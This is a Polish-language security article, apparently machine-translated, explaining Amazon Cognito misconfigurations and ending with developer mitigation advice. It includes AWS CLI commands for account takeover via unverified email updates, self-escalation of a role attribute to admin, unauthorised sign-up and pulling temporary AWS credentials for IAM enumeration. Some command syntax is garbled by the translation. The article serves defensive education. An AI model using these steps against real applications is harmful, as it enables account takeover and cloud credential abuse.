Błędna konfiguracja Amazon cognito

Mar 14 2023
autor: Mohamed Lakhdar Metidji W ostatnich latach Amazon Web Services (AWS) stał się popularnym wyborem wśród firm, które chcą hostować swoje aplikacje internetowe w chmurze. Jedną z najczęściej używanych usług AWS jest Amazon Cognito, usługa uwierzytelniania użytkowników i zarządzania tożsamością.

napisany przez Mohameda Lakhdara Metidji

W ostatnich latach Amazon Web Services (AWS) stał się popularnym wyborem dla firm, które chcą hostować swoje aplikacje internetowe w chmurze. Jedną z najczęściej używanych usług AWS jest Amazon Cognito, usługa uwierzytelniania użytkowników i zarządzania tożsamością. Jednak źle skonfigurowana instancja Amazon Cognito może narazić wrażliwe dane użytkownika, potencjalnie prowadząc do naruszenia danych i innych zagrożeń bezpieczeństwa.

Przede wszystkim

Czym jest Amazon Cognito?

Amazon Cognito to w pełni zarządzana usługa AWS, która zapewnia uwierzytelnianie, autoryzację i zarządzanie użytkownikami w aplikacjach internetowych i mobilnych. Umożliwia programistom łatwe dodawanie rejestracji użytkowników, logowania i kontroli dostępu do ich aplikacji, a także integrację z zewnętrznymi dostawcami tożsamości, takimi jak Facebook, Google i Amazon. Amazon Cognito obsługuje również uwierzytelnianie wieloskładnikowe i synchronizację danych użytkowników na różnych urządzeniach.

Jak to działa?

Amazon Cognito składa się z dwóch głównych komponentów:

  1. 1. Pule użytkowników : ten komponent zapewnia funkcje rejestracji, logowania i uwierzytelniania użytkowników w aplikacjach internetowych i mobilnych. Pule użytkowników umożliwiają tworzenie i utrzymywanie katalogu użytkowników, dostosowywanie procesu uwierzytelniania oraz integrację z zewnętrznymi dostawcami tożsamości.
  2. Pula użytkowników

Ten JWT jest podpisany przy użyciu algorytmu RS256 . Algorytm ten składa się z klucza prywatnego używanego do podpisywania ładunku i klucza publicznego używanego do sprawdzania ważności ładunku.

  1. 2. Pule tożsamości: Ten komponent umożliwia udzielanie tymczasowego, ograniczonego dostępu do zasobów AWS użytkownikom, którzy uwierzytelnili się za pomocą pul użytkowników, dostawców tożsamości społecznościowych lub innych zewnętrznych dostawców tożsamości. Pule tożsamości umożliwiają kontrolę dostępu do zasobów na podstawie tożsamości użytkowników oraz zapewniają bezproblemowy i bezpieczny dostęp do usług AWS uwierzytelnionym użytkownikom.
  2. zidentyfikować pulę

Co za błędne konfiguracje w Amazon Cognito?

Błędne konfiguracje w Amazon Cognito odnoszą się do błędów lub przeoczeń popełnionych podczas konfiguracji usługi, które mogą skutkować lukami w zabezpieczeniach. Te błędne konfiguracje mogą umożliwić nieautoryzowany dostęp do kont użytkowników lub poufnych danych, naruszyć poufność lub integralność danych oraz zaszkodzić reputacji organizacji. Przykłady błędnych konfiguracji w Amazon Cognito obejmują nieodpowiednią niewłaściwą kontrolę dostępu, brak autoryzacji, źle skonfigurowane uprawnienia danych użytkownika, brak uwierzytelniania wieloskładnikowego… itd.

W tym artykule opiszę przykład typowych błędnych konfiguracji Amazon Cognito:

Błędna konfiguracja w celu przejęcia konta Zero Click:

Aktualizowanie atrybutu adresu e-mail przed weryfikacją

JAK ?

Flickr używa Amazon Cognito do implementacji swojej funkcjonalności logowania.

Przepływ rozpoczyna się na tożsamości.flickr.com. Poprzez JavaScript dane uwierzytelniające użytkownika końcowego są wysyłane do cognito-idp.us-east-1.amazonaws.com, który odpowiada tokenami. Wreszcie tokeny te są przekazywane do www.flickr.com.

Logowanie Amazon Cognito implementuje nieco zmodyfikowany wariant OpenID Connect. Jeśli jesteś zaznajomiony z tym protokołem pojedynczego logowania, rozpoznasz następujący Auth. Żądanie i autoryzacja Odpowiedź:

####

Host POST / HTTP/2
: cognito-idp.us-east-1.amazonaws.com
[…]
{
„AuthFlow”: „USER_PASSWORD_AUTH”,
„ClientId”: „3ck15************ **”,
„AuthParameters”:{
„USERNAME”:”
atakujący @flickr.com ”,
„HASŁO”: „[ZMIENIONO]”,
„DEVICE_KEY”: „us-east-1_070[…]”
},
„ClientMetadata” :
{
}
}

####

Jeśli podane poświadczenia są prawidłowe, Cognito odpowiada tokenami:

####

HTTP/2 200 OK
[…]
{
„AuthenticationResult”:
{
„AccessToken”:”[ZMIENIONO]”,
„ExpiresIn”:3600,
„IdToken”:”[ZMIENIONO]”,
„RefreshToken”:”[ZMIENIONO]”,
„TokenType”: „Bearer”
},
„ChallengeParameters”:
{
}
}

####

Flickr używa puli użytkowników do organizowania swoich użytkowników. Używając access_token z narzędziem AWS CLI , możemy przetestować, które akcje są w zasięgu naszego tokena.
Korzystając z API, można zmienić niektóre atrybuty użytkownika — w tym adres e-mail, do którego prowadzi link:

przez to polecenie:

$ aws cognito-idp update-user-attributes — region us-east-1 — token dostępu eyJraW***** — atrybuty użytkownika „ Nazwa=email,Wartość= email-ofiary @email.com

Aby zakończyć przejęcie konta, badacz loguje się przy użyciu złośliwego, podobnego adresu e-mail oraz hasła atakującego .

Pełny raport: https://hackerone.com/reports/1342088

AWS wprowadził nową konfigurację zabezpieczeń, aby złagodzić ten problem, więc jeśli opcja Zachowaj oryginalną wartość atrybutu aktywna, gdy oczekuje na aktualizację, zostanie jawnie włączona, atrybut e-mail nie zostanie zaktualizowany do nowego adresu e-mail, dopóki nie zostanie zweryfikowany.

Jest to nowa konfiguracja zabezpieczeń, która została wprowadzona dopiero po czerwcu 2022 r., co oznacza, że ​​wiele aplikacji może nadal być błędnie skonfigurowanych

Błędna konfiguracja eskalacji uprawnień:

Eskalacja uprawnień poprzez zapisywalne atrybuty użytkownika:

W kontekście AWS Cognito eskalacja uprawnień poprzez zapisywalne atrybuty użytkownika może wystąpić, jeśli użytkownik jest w stanie zmodyfikować własne atrybuty w sposób, który przyznaje mu dodatkowe uprawnienia wykraczające poza to, do czego jest upoważniony.

JAK?

Na przykład administrator zaprasza użytkownika i przypisuje mu rolę czytelnika, a następnie wysyła zaproszenie na jego adres e-mail, a co jeśli użytkownik jest atakującym i zmienia swoją rolę na administratora

wykonując te same kroki ze starego przykładu „Flickr”, używając access_token z narzędziem AWS CLI , możemy przetestować, które akcje są w zasięgu naszego tokena.
Korzystając z API, można zmienić niektóre atrybuty użytkownika — w tym role.
Powiedzmy, że metadane użytkownika wyglądają tak:

####

{
„Nazwa użytkownika”: „e2[…]”,
„Atrybuty użytkownika”: [
{
„Nazwa”: „sub”,
„Wartość”: „e28[…]”
},
{
„Nazwa”: „rola”,
„Wartość” : „czytnik”
},
{
„Nazwa”: „email_verified”,
„Wartość”: „true”
),
{
„Nazwa”: „e-mail”,
„Wartość”: „
[email protected] ”
}
]
}

####

Użytkownik może zmienić swoją rolę z czytelnika na administratora za pomocą tego polecenia za pomocą narzędzia AWS CLI :

$ aws cognito-idp update-user-attributes — region us-east-1 — token dostępu eyJraW***** — atrybuty użytkownika ' Nazwa = rola, Wartość = admin

po ponownym sprawdzeniu za pomocą tej prostej akcji GetUser za pomocą tego polecenia:

$ aws cognito-idp get-user — region us-east-1 — token dostępu eyJr********

twoje metadane będą wyglądać tak:

####

{
„Nazwa użytkownika”: „e2[…]”,
„Atrybuty użytkownika”: [
{
„Nazwa”: „sub”,
„Wartość”: „e28[…]”
},
{
„Nazwa”: „rola”,
„Wartość” : “admin”
},
{
“Nazwa”: “email_verified”,
“Wartość”: “true”
),
{
“Nazwa”: “email”,
“Wartość”: “
[email protected] ”
}
]
}

####

Pominięcie uwierzytelniania z powodu włączonej akcji API rejestracji:

Aplikacje, które nie oferują rejestracji użytkowników i obsługują jedynie administracyjne udostępnianie kont, mogą być podatne na ataki, jeśli nie wyłączą odpowiednio interfejsu API rejestracji, mogą być narażone na nieautoryzowane tworzenie kont przez osoby atakujące. Może to być szczególnie niebezpieczne dla portali logowania administratora korzystających z AWS Cognito, ponieważ osoby atakujące mogą ominąć uwierzytelnianie i uzyskać dostęp do poufnych informacji lub wykonać nieautoryzowane działania.

JAK?

Obejmuje to portale logowania administratora, które implementują AWS cognito, umożliwiając w rezultacie obejście uwierzytelniania.

w tym przykładzie nie ma rejestracji w celu utworzenia konta, ponieważ tylko administratorzy, którzy mogą się zalogować

Podczas tworzenia nowej puli użytkowników samodzielna rejestracja może być domyślnie włączona, umożliwiając użytkownikom samodzielną rejestrację konta.

przykład

osoba atakująca potrzebuje tylko identyfikatora klienta i regionu, aby przetestować samorejestrację.

Atakujący może zarejestrować się za pomocą tego polecenia za pomocą narzędzia AWS CLI :

$ aws cognito-idp sign-up — client-id <client-id> — nazwa użytkownika <adres-e-mail> — hasło <hasło> — region <region>

udana rejestracja wygląda następująco:

###

{
„Lista szczegółów dostawy kodów”:[

{
„Destination”:”m***@w***”,
„DeliveryMedium”:”EMAIL”,
„AttributeName”:”email”
}
]
}

###

W przypadku udanej samodzielnej rejestracji na adres e-mail atakującego zostanie dostarczony 6-cyfrowy kod potwierdzający.

tylko przykład

atakujący może potwierdzić konto za pomocą tego polecenia:

$ aws cognito-idp potwierdź rejestrację — identyfikator klienta <identyfikator-klienta> — nazwa użytkownika <adres-e-mail> — kod-potwierdzenia <kod-potwierdzenia> — region <region>

Pobieranie tymczasowych poświadczeń AWS przy użyciu uwierzytelnionego użytkownika:

Pobieranie tymczasowych poświadczeń AWS przy użyciu uwierzytelnionego użytkownika obejmuje użycie usługi AWS Security Token Service (STS) w celu wygenerowania tymczasowych poświadczeń dla roli IAM z niezbędnymi uprawnieniami dostępu do zasobów AWS. Należy wdrożyć odpowiednie środki bezpieczeństwa, aby upewnić się, że użytkownik ma niezbędne uprawnienia, a także należy wprowadzić kontrolę dostępu i dzienniki audytu w celu monitorowania i śledzenia dostępu do zasobów AWS przy użyciu tymczasowych poświadczeń.

Aby wygenerować dane uwierzytelniające AWS, musimy znaleźć identyfikator puli tożsamości, który jest zwykle zakodowany na stałe w kodzie źródłowym, w dołączonym pliku JS lub w odpowiedzi HTTP.

● Identyfikator klienta

● Identyfikator puli użytkowników

● Region

Na przykład :

js powoduje wyciek danych uwierzytelniających AWS (identyfikator puli użytkowników, identyfikator puli użytkowników, region)

gdy atakujący uzyska dostęp do tych poświadczeń

Jak może je wykorzystać?

Atakujący może użyć poprzedniego identyfikatora tożsamości do wygenerowania poświadczeń AWS. Użyj AWS Cli w następujący sposób

$ aws cognito-identity get-credentials-for-identity — identyfikator-identyfikatora <identyfikator-identyfikatora> — region <region>

wyglądają metadane

###

{
„IdentityId”: „us-west-2:************”,
„Credentials”: ​​[
{
„AccessKeyId”: „******”,
„SecretKey”: „*** ******”,
„Token sesji”: „********”
}
]
}

###

Teraz osoba atakująca może wyliczyć uprawnienia powiązane z tymi danymi uwierzytelniającymi za pomocą narzędzia takiego jak:

Wylicz-iam :https://github.com/andresriancho/enumerate-iam

Apartament harcerski :https://github.com/nccgroup/ScoutSuite

$ ./enumerate-iam.py — klucz dostępu <AccessKeyID> — tajny klucz <SecretKey> — token sesji <SessionToken>

przykład narzędzia „enumerate-iam” o tym, jak to działa

Wniosek

Oto niektóre z typowych i poważnych problemów z konfiguracją Amazon cognito, które zostały zidentyfikowane i które można rozwiązać za pomocą różnych rozwiązań.

Wytyczne dla programistów:

  1. Upewnij się, że wszelkie poufne informacje, takie jak identyfikator puli tożsamości Cognito, zostały usunięte z odpowiedzi wysyłanych przez serwer.
  2. Jeśli nie jest to potrzebne, wyłącz funkcję rejestracji w AWS Cognito.
  3. Jeśli nie ma to sensu, wyłącz rolę nieuwierzytelnioną.
  4. Sprawdź zasady IAM powiązane z rolami uwierzytelnionymi i nieuwierzytelnionymi, aby upewnić się, że przyznawany jest tylko minimalny niezbędny dostęp.
  5. Oceń wszystkie atrybuty użytkownika i usuń uprawnienia do pisania, jeśli nie są wymagane.
  6. Pamiętaj, że wartość atrybutu e-mail może zawierać adres e-mail, który nie został zweryfikowany